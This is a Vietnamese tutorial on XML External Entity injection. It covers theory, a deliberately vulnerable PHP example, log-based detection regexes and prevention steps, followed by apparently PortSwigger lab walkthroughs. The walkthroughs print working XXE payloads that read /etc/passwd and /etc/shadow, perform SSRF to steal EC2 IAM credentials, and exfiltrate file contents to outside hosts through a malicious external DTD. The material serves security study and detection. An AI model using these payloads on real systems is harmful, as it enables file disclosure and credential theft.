# XML external entity injection ## What is XML External Entity? ### What is XML? **XML (Extensible Markup Language)** là một markup language được sử dụng để cấu trúc và lưu trữ data theo định dạng có cấu trúc, vừa dễ đọc đối với con người vừa dễ xử lý bởi máy tính. XML được phát triển như một bước tiếp theo của HTML và được sử dụng rộng rãi để trao đổi data giữa các hệ thống và nền tảng khác nhau, đặc biệt là trên web. ![image](https://hackmd.io/_uploads/B1WXitoAkl.png) XML sử dụng một tập hợp các thẻ (**tags**) để xác định cấu trúc và nội dung của data được biểu diễn. Các thẻ này được dùng để xác định và mô tả các thành phần và thuộc tính của dữ liệu, bao gồm thẻ mở và thẻ đóng cho các phần tử, thuộc tính (**attributes**) để cung cấp thông tin bổ sung, và các thực thể (**entities**) để biểu diễn các ký tự hoặc biểu tượng đặc biệt. Một trong những ưu điểm chính của XML là tính linh hoạt và khả năng mở rộng. Người dùng có thể định nghĩa các thẻ và lược đồ (schema) tùy chỉnh để biểu diễn dữ liệu, điều này giúp XML trở thành một công cụ mạnh mẽ để biểu diễn các cấu trúc dữ liệu phức tạp và trao đổi data giữa các hệ thống khác nhau. Tuy nhiên, mặc dù XML từng rất phổ biến trong nhiều lĩnh vực, việc sử dụng nó đã giảm đi trong những năm gần đây khi các định dạng dữ liệu mới như JSON trở nên phổ biến hơn nhờ sự đơn giản, dễ sử dụng và khả năng hỗ trợ tốt hơn cho các công nghệ web hiện đại. ### What is XML External Entity? ![image](https://hackmd.io/_uploads/BJEPsFsR1l.png) **XXE (XML External Entity)** là một loại lỗ hổng bảo mật ảnh hưởng đến các ứng dụng phân tích cú pháp (**parser**) dữ liệu XML. Trong một cuộc tấn công XXE, attacker chèn data XML độc hại vào ứng dụng – nơi sử dụng XML parser mà không có validate hoặc cấu hình phù hợp sẽ khiến ứng dụng xử lý các thực thể bên ngoài (**external entities**) có thể bị kiểm soát bởi attacker. ![image](https://hackmd.io/_uploads/BJhksYjCJl.png) Một **external entity** là một phần tử XML được định nghĩa bên ngoài tài liệu XML, nhưng có thể được tham chiếu và đưa vào trong tài liệu. Attacker có thể lợi dụng lỗ hổng XXE để chèn các **entities** độc hại nhằm đọc data từ các tệp nội bộ, truy cập hệ thống nội bộ, hoặc thực hiện các hành vi tấn công khác trên máy chủ. XXE có thể bị khai thác theo nhiều cách, chẳng hạn như thông qua form web chấp nhận data XML, các API dạng SOAP hoặc REST sử dụng payload XML, hoặc các ứng dụng khác có xử lý đầu vào XML. Những cuộc tấn công này có thể dẫn đến rò rỉ data nhạy cảm, [SSRF](https://hackmd.io/@27v/Hyn8D-MCkg), DoS, ... ## How XML External Entity Works? Tấn công XXE có thể phụ thuộc vào ngôn ngữ lập trình được sử dụng trong ứng dụng phía server. Attack vector và các lỗ hổng cũng như biện pháp phòng chống có thể khác nhau tùy vào ngôn ngữ lập trình. Ví dụ, PHP có một XML parser tích hợp sẵn gọi là **DOMDocument**, thường được sử dụng trong các ứng dụng web. Parser này có thể bị khai thác bởi tấn công XXE nếu: - Data XML đầu vào không được sanitize đúng cách - Không disable external entities Để phòng chống, dev có thể sử dụng hàm `libxml_disable_entity_loader()` trong PHP để disable việc load external entities Dưới đây là ví dụ về đoạn mã PHP có chứa lỗ hổng XXE: ```php <?php $xml = $_POST["xml"]; $doc = new DOMDocument(); $doc->loadXML($xml); // Process the XML document // ?> ``` PHP nhận param `xml` và sử dụng method `loadXML()` của DOMDocument để parse nó vào object `DOMDocument`. Tuy nhiên, code không sanitize đúng cách `xml`, điều này có thể cho phép attacker inject một external entity và thực hiện nhiều hành động độc hại ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <! ELEMENT foo ANY> <! ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> ``` Attacker đã định nghĩa một external entity gọi là `xxe` tham chiếu đến file `/etc/passwd`. Khi file PHP xử lý đầu vào này, nó sẽ load file `/etc/passwd` và bao gồm nội dung của nó trong đầu ra cho phép attacker đọc thông tin nhạy cảm từ máy chủ. ## Types of XXE ![image](https://hackmd.io/_uploads/SJ_4ntoRke.png) **1.** **In-Band**: **In-band XXE Injection** là hình thức tấn công mà attacker nhận được response trực tiếp từ payload XXE ngay trên giao diện của ứng dụng. Đây là dạng dễ khai thác và dễ nhận biết nhất vì attacker thấy ngay kết quả trả về. ![image](https://hackmd.io/_uploads/BkSniKoC1l.png) **2.** **OOB:** **Out-of-Band (OOB) XXE Injection** là hình thức tấn công mà attacker không nhận được response trực tiếp từ payload XXE trên giao diện ứng dụng. Thay vào đó, payload được thiết kế để gửi dữ liệu đến một máy chủ do attacker kiểm soát. Hình thức này thường được sử dụng khi ứng dụng mục tiêu không trả về data đầu ra rõ ràng, hoặc không cho thấy lỗi rõ rệt. ![image](https://hackmd.io/_uploads/H1cZnYiCyg.png) **3.** **Error**: **Error-based XXE Injection** là hình thức tấn công mà attacker suy đoán hoặc thu thập thông tin từ các thông báo lỗi được tạo ra khi payload XXE được xử lý. Bằng cách tinh chỉnh payload và quan sát thông báo lỗi, attacker có thể thu thập thông tin như cấu trúc hệ thống, đường dẫn tệp tin, hoặc dữ liệu bị lộ gián tiếp thông qua thông báo lỗi. ## How to find vuln ### Black-box Testing - Tìm kiếm tất cả các vị trí trong ứng dụng nơi có thể xảy ra xử lý đầu vào XML. Ví dụ: API nhận payload XML, form upload cấu hình XML, SOAP request,... - Chèn các ký tự đặc biệt trong XML như dấu nháy đơn `'`, nháy kép `"`, dấu `<`, `>`… để kiểm tra xem ứng dụng có ném lỗi liên quan đến phân tích cú pháp XML hay không - Tại các điểm đã xác định, tiến hành gửi các payload XML với mục đích yêu cầu ứng dụng truy xuất một tệp tin có thể đọc công khai từ phía máy chủ backend như `/etc/passwd` trên hệ thống Linux ### White-box Testing - Xác định tất cả các vị trí trong code nơi dữ liệu đầu vào từ phía client được parse dưới dạng XML: + Kiểm tra xem dữ liệu XML được đọc từ: Request body, Tệp tin upload (XML), API nhận payload XML (ví dụ: SOAP, REST XML) + Tại các vị trí đó, kiểm tra xem trình XML parser có vô hiệu hóa DTDs hoặc external entities hay không - Gửi các payload XML đến những điểm đầu vào đã xác định trong quá trình kiểm tra code ## Detecting XML External Entity Attacks Điều quan trọng nhất để phát hiện các cuộc tấn công XXE ở log là nên kiểm tra các keyword như: - `DOCTYPE` - `ELEMENT` - `ENTITY` Regex cơ bản để phát hiện tấn công XXE ``` ^(\S+) - (\S+) \[(.*?)\] "(\S+) (.*?)\?(?=.*?\b21DOCTYPE\b).*? HTTP\/\d\.\d" (\d+) (\d+) "(.*?)" "(.*?)" ``` 21 là url encode cho ký tự `!`. Do đó `!DOCTYPE` --> `%21DOCTYPE`. Regex trên có 21 là giải thích cho điều này Log encode ```log 123.45.67.89 [30/Арг/2023:12:34:57 +0000] "GET /processXML?xml=%3C%21DOCTYPE%20foo%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%27file%3A%2F%2F%2Fetc%2Fpasswd%27%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E HTTP/1.1" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 123.45.67.89 [30/Apr/2023:12:34:59 +0000] "GET /processXML?xml=%3C%21DOCTYPE%20foo%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%27file%3A%2F%2F%2Fetc%2Fpasswd%27%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E HTTP/1.1" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" ``` Log decode ```log 123.45.67.89--[30/Apr/2023:12:34:57+0000] "GET/processXML?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>HTTP/1.1"200107"-""Mozilla/5.0 (WindowsNT10.0; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430. 85Safari/537.36" 123.45.67.89--[30/Apr/2023:12:34:59+0000] "GET/processXML?xml=<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>HTTP/1.1"200107"-""Mozilla/5.0 (WindowsNT10.0; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430. 85Safari/537.36" ``` ### A Detection Example ```log 123.45.67.89 -- [30/Арг/2023:12:34:56 +0000] "GET /processXML?xml=%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%5D%3E%20%3Croot%3E%20%26xxe%3B%20%3C%2Froot%3E HTTP/1.1" 200 143 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" ``` Ở trên là một ví dụ về log Nginx đã bị tấn công XXE với payload như trên. Đoạn param trên được decode URL như sau: ![image](https://hackmd.io/_uploads/Sye_Z5oRkg.png) IP của máy thực hiện yêu cầu là `123.45.67.89`. Request tại endpoint `processXML`, với param `xml`. Payload XXE cố gắng đọc nội dung của file `/etc/passwd`. Status code trả về `200`cùng với byte size `>0` là 143 byte, có thể attacker đã có thể đọc thành công file. ### A Detection Example 2 ```log 204.44.112.144 - - [28/Oct/2015:11:32:31 +0100] "POST /login_form HTTP/1.1" 200 16810 "http://victim.com/login_form" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 94.23.33.25 - - [28/Oct/2015:11:38:15 +0100] "GET /acl_users/credentials_cookie_auth/require_login?came_from=http%3A//howto.basjes.nl/join_form HTTP/1.1" 200 10716 "http://victim.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 94.23.33.25 - - [28/Oct/2015:11:38:15 +0000] "GET /process?data=%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fshadow%22%3E%20%5D%3E%20%3Croot%3E%20%26xxe%3B%20%3C%2Froot%3E HTTP/1.1" 200 143 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 94.23.33.25 - - [28/Oct/2015:11:38:16 +0000] "GET /process?data=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20test%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A///etc/shadow%22%3E%5D%3Ctest%3E%26xxe%3B%3C/test%3E%20HTTP/1.1" 200 123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" 94.23.33.25- - [28/Oct/2015:11:38:16 +0000] "GET /process?data=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20test%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A//malicious.com/xxe.dtd%22%3E%5D%3Ctest%3E%26xxe%3B%3C/test%3E%20HTTP/1.1" 200 123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" 94.23.33.25 - - [28/Oct/2015:11:38:17 +0000] "GET /process?data=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3Ctest%3E%3C!%5BCDATA%5B%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20test%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A///etc/shadow%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C/test%3E%5D%5D%3E%3C/test%3E%20HTTP/1.1" 200 123 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" 94.23.33.25 - - [28/Oct/2015:11:44:38 +0100] "GET /acl_users/credentials_cookie_auth/require_login?came_from=http%3A//howto.basjes.nl/join_form HTTP/1.1" 200 10716 "http://victim.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 204.152.206.187 - - [28/Oct/2015:11:44:39 +0100] "GET /join_form HTTP/1.0" 200 11114 "http://victim.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 204.152.206.187 - - [28/Oct/2015:11:44:41 +0100] "POST /join_form HTTP/1.1" 302 9093 "http://victim.com/join_form" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 204.152.206.187 - - [28/Oct/2015:11:44:42 +0100] "GET /acl_users/credentials_cookie_auth/require_login?came_from=http%3A//howto.basjes.nl/join_form HTTP/1.1" 200 10716 "http://victim.com/join_form" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 204.152.206.187 - - [28/Oct/2015:11:44:44 +0100] "GET /login_form HTTP/1.1" 200 10543 "http://victim.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 204.152.206.187 - - [28/Oct/2015:11:44:45 +0100] "POST /login_form HTTP/1.1" 200 16810 "http://victim.com/login_form" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60" 45.72.9.89 - - [28/Oct/2015:11:48:21 +0100] "GET /linux/installing-fedora-linux-via-pxe-x86-64 HTTP/1.1" 200 36444 "http://victim.com/" "Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0" 45.72.9.89 - - [28/Oct/2015:11:48:24 +0100] "GET /join_form HTTP/1.1" 200 11114 "http://victim.com/" "Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0" 45.72.9.89 - - [28/Oct/2015:11:48:25 +0100] "POST /join_form HTTP/1.1" 302 9093 "http://victim.com/join_form" "Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0" 45.72.9.89 - - [28/Oct/2015:11:48:26 +0100] "GET /acl_users/credentials_cookie_auth/require_login?came_from=http%3A//howto.basjes.nl/join_form HTTP/1.1" 200 10716 "http://victim.com/join_form" "Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0" 45.72.9.89 - - [28/Oct/2015:11:48:28 +0100] "GET /login_form HTTP/1.1" 200 10543 "http://victim.com/" "Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0" 45.72.9.89 - - [28/Oct/2015:11:48:29 +0100] "POST /login_form HTTP/1.1" 200 16810 "http://victim.com/login_form" "Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0" ``` Dựa vào đoạn log trên ta có hành vi của T.A như sau: IP của máy thực hiện yêu cầu là `94.23.33.25`. Request tại endpoint `process` 1. T.A inject payload để thực hiện đọc file `/etc/shadow` ```xml <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/shadow"> ]> <root> &xxe; </root> ``` --> Tuy status code 200 và byte size là 123 nhưng có vẻ T.A chưa đọc được file nên tiếp tục thực hiện kỹ thuật khác 2. Một biến thể payload để đọc file `/etc/shadow` ```xml <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/shadow">]<test>&xxe;</test> ``` --> Tương tự với payload đầu, kết quả trả về tương tự và T.A lại tiếp tục sử dụng kỹ thuật khác 3. T.A sử dụng **OOB XXE**, nhằm để server backend gửi HTTP request ra ngoài (`malicious.com`) để tải DTD độc hại ```xml <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://malicious.com/xxe.dtd">]<test>&xxe;</test> ``` --> Kết quả trả về tương tự và T.A lại tiếp tục sử dụng kỹ thuật khác 4. T.A đưa payload XML chứa XXE vào trong CDATA section nhằm bypass parser hoặc filter nào đó: ```xml <?xml version="1.0" encoding="UTF-8"?><test><![CDATA[<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><test>&xxe;</test>]]></test> ``` --> Kết quả trả về tương tự và T.A đã kết thúc tấn công **Tóm lại:** Đây chỉ là dự đoán về cuộc tấn công không thành công. Để chắc chắn T.A đã tấn công thành công hay chưa cần phải xem **response body** hoặc file PCAP để đưa ra kết luận cuối cùng : ) ## How to prevent 1. **Disable** external entities: Cấu hình parser để từ chối xử lý external entities. 2. **Luôn xác thực và validate** tất cả data XML như sử dụng `libxml_disable_entity_loader()` để disable việc load external entities hay dùng hàm `filter_var()` để chắc chắn rằng đầu vào XML được định dạng đúng và không chứa bất kỳ payload 3. **Sử dụng parser XML có sẵn** tùy chọn để chặn xử lý DTD và external entities 4. **Sử dụng** **whitelist**: Bất kỳ entity nào không nằm trong whitelist sẽ bị chặn 5. **Access control**: Giới hạn quyền truy cập vào các file nhạy cảm trong hệ thống # Practice lab ## Exploiting XXE using external entities to retrieve files ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input và trả về giá trị yêu cầu Để giải bài lab, inject một XML external entity để lấy nội dung file `/etc/passwd` ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng `Check stock` ![image](https://github.com/user-attachments/assets/b78234a8-4685-4c7a-bd45-573ca48831cc) Sử dụng Repeater để xem nội dung response ![image](https://github.com/user-attachments/assets/2f02c79f-4c4c-4c77-974c-95ec85683fe2) Ta sẽ tiến hành inject payload vào value `<productId>` trước và thành công, hoàn thành bài lab ![image](https://github.com/user-attachments/assets/932daba2-5a0d-4ca5-94df-cb5984c8b007) ## Exploiting XXE to perform SSRF attacks ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input và trả về giá trị yêu cầu Bài lab có ứng dụng đang chạy endpoint EC2 (mô phỏng) ở URL mặc định, đó là `http://169.254.169.254/`. Endpoint này có thể được sử dụng để truy xuất dữ liệu, một số trong đó có thể nhạy cảm. Để giải bài lab, khai thác XXE để thực hiện tấn công SSRF để lấy được secret key IAM của máy chủ từ endpoint EC2 ### Analysis and exploit Như mô tả, ta sẽ tiếp tục tấn công vào tính năng `Check stock` của con web này ![image](https://github.com/user-attachments/assets/e870800a-f2d9-45ba-8edb-234cde89ffbe) Sử dụng Repeater để xem nội dung response ![image](https://github.com/user-attachments/assets/43278cc8-e2a0-4570-a45d-eecb2357a9b7) Ta sẽ tiến hành inject payload sau vào value `<productId>` với ip nội bộ của server này đã được tiết lộ là `http://169.254.169.254/` ``` <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> ``` ![image](https://github.com/user-attachments/assets/000f8639-5643-473c-8c36-119a4a3b0b42) Ở phía endpoint có path tới `/latest`. Do đó chúng ta tiếp tục sửa payload thành: ``` <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest"> ]> ``` ![image](https://github.com/user-attachments/assets/6f9876c2-cdc8-496d-bb49-45afa6340bb6) Tương tự ta tiếp tục truy cập vào `/meta-data` ![image](https://github.com/user-attachments/assets/4e2c9c20-2328-4ec3-a74b-4f8fe89c7c4e) Tiếp tục và ta lấy được IAM secret access key tại path hoàn chỉnh: `/latest/meta-data/iam/security-credentials/admin` ![image](https://github.com/user-attachments/assets/077a5d27-0c93-41a4-a788-08bd03edb0e7) ## Blind XXE with out-of-band interaction ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input nhưng lại không trả về giá trị yêu cầu Tuy nhiên ta có thể phát hiện bằng kỹ thuật blind XXE, Để giải bài lab, sử dụng external entity khiến cho XML parser thực hiện lookup DNS và HTTP để request đến Burp Collaborator ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng `Check stock` ![image](https://github.com/user-attachments/assets/c4e4879e-fd4a-48dd-be7b-a0026156528b) Sử dụng Repeater để xem nội dung response ![image](https://github.com/user-attachments/assets/c959594f-458a-4565-86b6-94f133f2d92d) Ta sẽ tiến hành inject payload sâu vào value `<productId>`, đồng thời sử dụng `Burp Collab` để hứng được gói tin được gửi ra ngoài ``` <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://wbbon1ycp405g804xc71lztj6ac10rog.oastify.com"> ]> ``` ![image](https://github.com/user-attachments/assets/5ed72244-8255-4219-ba5f-f11c1e83683f) Quay lại tab `Collaborator` sẽ hứng được request và hoàn thành bài lab ![image](https://github.com/user-attachments/assets/c1009cc0-717c-4914-af65-d88523ad4f92) ## Blind XXE with out-of-band interaction via XML parameter entities ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input nhưng lại không trả về giá trị yêu cầu đồng thời nó cũng block các request có chứa external entities Để giải bài lab, sử dụng param entity khiến cho XML parser thực hiện lookup DNS và HTTP để request đến Burp Collaborator ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng `Check stock` ![image](https://github.com/user-attachments/assets/dc798007-a016-4abd-874e-d739136d33b3) Sử dụng Repeater để xem nội dung response ![image](https://github.com/user-attachments/assets/59a8f0d5-2224-40ac-934b-93ef1b7c47b3) Ta sẽ tiến hành inject payload sâu vào value `<productId>`, đồng thời sử dụng `Burp Collab` để hứng được gói tin được gửi ra ngoài. Theo như Response, quả thực khi trỏ tới XML Entity ta đã bị trang web chặn lại ``` <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://wbbon1ycp405g804xc71lztj6ac10rog.oastify.com"> ]> ``` ![image](https://github.com/user-attachments/assets/2bbe2db7-ed8d-4588-b20c-55764e996aae) Để thực hiện **Out-Of-Band Interaction** trong trường hợp này, mình sẽ phải sửa `DOCTYPE` để không chỉ định nghĩa `Entity` có thể trực tiếp truy vấn tới nó luôn mà không thông qua productID. Do đó thay vì sử dụng XML entity, ta sẽ định nghĩa 1 XML parameter Entity với payload: ``` <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://wbbon1ycp405g804xc71lztj6ac10rog.oastify.com"> %xxe; ]> ``` ![image](https://github.com/user-attachments/assets/dda52fa7-9bc7-4425-b03f-6afd9ce6d28f) Dù trả về `XML parsing error` nhưng trong BurpCollab đã xuất hiện kết nối DNS và HTTP tức là hứng được request và hoàn thành bài lab ![image](https://github.com/user-attachments/assets/6bf678ed-2aad-4984-b182-9cbdaa530943) ## Exploiting blind XXE to exfiltrate data using a malicious external DTD ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input nhưng lại không trả về giá trị yêu cầu Để giải bài lab, lấy được nội dung file `/etc/hostname` ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng `Check stock` ![image](https://github.com/user-attachments/assets/2ebc71f1-78fb-4d7e-9648-16e224ac4f6c) Sử dụng Repeater để xem nội dung response ![image](https://github.com/user-attachments/assets/1fe49bc7-cba2-47b1-80bc-5d2e9e8f6da1) Đầu tiên ta xác nhận có kết nối tới BurpCollab với payload: ``` <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://wbbon1ycp405g804xc71lztj6ac10rog.oastify.com"> %xxe; ]> ``` ![image](https://github.com/user-attachments/assets/55272b78-693f-4a4e-8bba-c8cecd60a183) Tiếp theo truy cập vào `Exploit Server` được bài lab cung cấp và paste payload này vào Body. `Store` lại ``` <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://uus1buupthb8nyod33fcs5wpogu7ix6m.oastify.com/?x=%file;'>"> %eval; %exfiltrate; ``` Cách payload này hoạt động: - Parameter Entitty `%file`, được tạo ra để đọc nội dung của tập tin `/etc/hostname`. - XML Entity:`%eval` được định nghĩa -> Nó định nghĩa 1 XML Parameter mới: `%exfiltrate`. Thực thể `%exfiltrate` được thiết lập để thực hiện một yêu cầu HTTP đến máy chủ của attacker, truyền nội dung của thực thể `%file` trong chuỗi truy vấn của URL. - Thực thể` %eval` được sử dụng, dẫn đến việc thực thi của sự định nghĩa động của thực thể `%exfiltrate`. - Thực thể `%exfiltrate` sau đó được sử dụng, kích hoạt một yêu cầu HTTP đến URL được chỉ định với nội dung của tập tin. ![image](https://github.com/user-attachments/assets/fa69d86d-61cd-464d-9bf5-5f5fdb3c8971) Copy đường dẫn tới file. Sau đó kết hợp với XML Paremeter phía trước để tạo ra payload hoàn chỉnh ``` <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab70010039193fb80c166ec011700db.exploit-server.net/exploit.dtd"> %xxe; ]> ``` Quay lại Collaborator lấy được code và hoàn thành bài lab ![image](https://github.com/user-attachments/assets/c609ebe9-d6bc-435a-9243-10527bcb7e75) ## Exploiting blind XXE to retrieve data via error messages ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input nhưng lại không trả về giá trị yêu cầu Để giải bài lab, lấy được nội dung file `/etc/passwd` ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng `Check stock` ![image](https://github.com/user-attachments/assets/ca7567e8-72fc-4535-804f-0b9196276c5e) Sử dụng Repeater để xem nội dung response ![image](https://github.com/user-attachments/assets/74c76974-56ab-4a61-a244-d1294abab789) Payload này sẽ đọc nội dung của file mục tiêu nhưng sau đó sẽ chèn vào đường dẫn `invalid/` . Đúng như tên gọi thì filepath này thường sẽ không hợp lệ -> Gây ra lỗi -> In ra Error message: ``` <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil; ``` Giống với bài lab trước: Copy vào `Exploit Server` -> `Store` -> Định nghĩa XML Parameter với đường dẫn tới DTD file trên exploit server -> Chèn vào XML của request `checkStock` ![image](https://github.com/user-attachments/assets/c5be980a-45bf-4da1-9641-d31f9b68ab16) ``` <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a3b00f0034fcb8186a2dd44018200cf.exploit-server.net/exploit"> %xxe; ]> ``` ![image](https://github.com/user-attachments/assets/ec39a48d-8d2a-4d94-904b-7a1fdca8c57a) ## Exploiting XInclude to retrieve files ### Target Goal Bài lab này có tính năng `Check stock` bằng cách parse XML input nhưng lại không trả về giá trị yêu cầu Bởi vì không kiểm soát toàn bộ tài liệu XML, ta không thể xác định DTD để thực hiện tấn công XXE Để giải bài lab, inject một XInclude statement để lấy được nội dung file `/etc/passwd` ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng `Check stock` ![image](https://github.com/user-attachments/assets/f63ce02b-4f10-4499-b3e2-a52cbd7bd379) Sử dụng Repeater để xem nội dung response. Chức năng `checkstock` lần này chỉ có `productID` và `storeID` thay vì nội dung XML. Nhưng theo thông tin bài lab thì server vẫn sẽ sử dụng thông tin từ đây để truyền vào trước khi xử lí. ![image](https://github.com/user-attachments/assets/9a457395-1738-44c5-8a9a-9b865a010742) Để exploit được thì trước tiên chúng ta cần phải khai báo và tham chiếu tới `XInclude` kèm theo đường dẫn tới file nhạy cảm như sau: ``` <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> ``` Chèn vào `productID` -> Send request ![image](https://github.com/user-attachments/assets/63d21e0d-b42d-4451-a73e-8160562adb43) ## Exploiting XXE via image file upload ### Target Goal Bài lab có chức năng cho phép user upload avatar để comments và sử dụng thư viện `Apache Batik` để process file ảnh này Để giải bài lab, upload ảnh lên để hiển thị nội dung của file `/etc/hostname` sau đó click vào `Submit solution` để lấy được giá trị file này ### Analysis and exploit Đối với mục tiêu của bài lab, ta sẽ tấn công vào tính năng upload file ảnh ![image](https://github.com/user-attachments/assets/6de514ce-2200-4901-a0f7-966841a36e2d) Trước tiên download 1 file svg bất kì và sử dụng hình ảnh đó làm avatar để đăng comment và bắt request POST comment để xem chi tiết hơn về SVG format. ![image](https://github.com/user-attachments/assets/c3693105-cb4b-4b6a-95c6-66b786159fbf) Từ requets gửi đi có thể thấy SVG là 1 file hình ảnh dưới dạng XML với các giá trị vector tạo nên hình ảnh đó. Nếu là dữ liệu XML thì chúng ta hoàn toàn có thể 1 định nghĩa Entity trỏ tới` etc/hostname` để lấy được thông tin mong muốn. Sử dụng request trước đó (Send to Repeater) nhưng lần này mình sẽ xóa dữ liệu SVG và tạo nên [payload](https://gist.github.com/jakekarnes42/b879f913fd3ae071c11199b9bd7ba3a7?short_path=f3432ae) để đọc thông tin file bằng cách sử dụng: ``` <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> ``` Send request và ta sẽ thấy ảnh đã được thêm ![image](https://github.com/user-attachments/assets/2dbcedec-ac84-43b0-8276-c8e88b0df385) 